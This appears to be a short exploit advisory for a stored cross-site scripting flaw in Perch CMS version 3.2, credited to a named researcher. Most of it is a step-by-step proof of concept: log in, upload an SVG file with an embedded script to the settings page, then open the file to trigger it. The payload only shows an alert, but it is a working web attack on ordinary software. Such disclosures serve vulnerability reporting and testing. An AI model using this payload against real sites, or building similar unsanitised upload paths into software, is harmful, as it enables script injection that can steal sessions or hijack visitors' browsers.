Headline
Perch 3.2 Cross Site Scripting
Perch version 3.2 suffers from a cross site scripting vulnerability.
Exploit Title: Perch v3.2 - Stored XSSApplication: Perch CmsVersion: v3.2Bugs: XSSTechnology: PHPVendor URL: https://grabaperch.com/Software Link: https://grabaperch.com/downloadDate of found: 21.07.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1. login to account2. go to http://localhost/perch_v3.2/perch/core/settings/3. upload svg file"""<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script></svg>"""4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)